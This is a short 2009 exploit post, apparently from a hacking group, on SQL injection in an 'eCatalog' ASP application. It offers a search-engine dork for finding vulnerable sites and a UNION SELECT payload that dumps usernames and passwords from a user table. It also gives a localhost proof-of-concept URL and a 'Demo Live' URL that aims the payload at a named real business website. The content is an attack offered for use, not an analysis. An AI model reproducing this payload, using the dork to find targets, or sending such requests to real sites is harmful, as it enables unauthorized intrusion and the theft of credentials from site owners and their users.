eCatalog [Blind Sql Injection]

————————————————————————————————————————————————————-

Author : YaDoY666

Contact : YaDoY666[a]ServerIsDown[dot]Org

Group : ServerIsDown

Date : September 27th, 2009

————————————————————————————————————————————————————-

[-] Dork

[+] “catalog/details.asp?id=” or use your own keyword

[-] Exploit

[+] details.asp?id=[id]+union+select 1,2,3,4,5,6,username,8,9,10,11,12,13,password from user

[-] POC

http://127.0.0.1/catalog/details.asp?id=706+union+select 1,2,3,4,5,6,username,8,9,10,11,12,13,password from user

[-] Demo Live


http://www.honourfurniture.com.my/catalog/details.asp?id=771+union+select 1,2,3,4,5,6,username,8,9,10,11,12,13,password from user

[-] Greetz

Jack-, Don Tukuleso, XShadow, Kecemplungkalen, v3nom, indounderground, mistersaint, m3g4tr0n, gblack, miya666, ServerIsDown, Mainhack Brotherhood, Indonesian Coder, You.

By : Yadoy666

Posted in: Bugs,Hacking,POC,Sql Injection,Web Hacking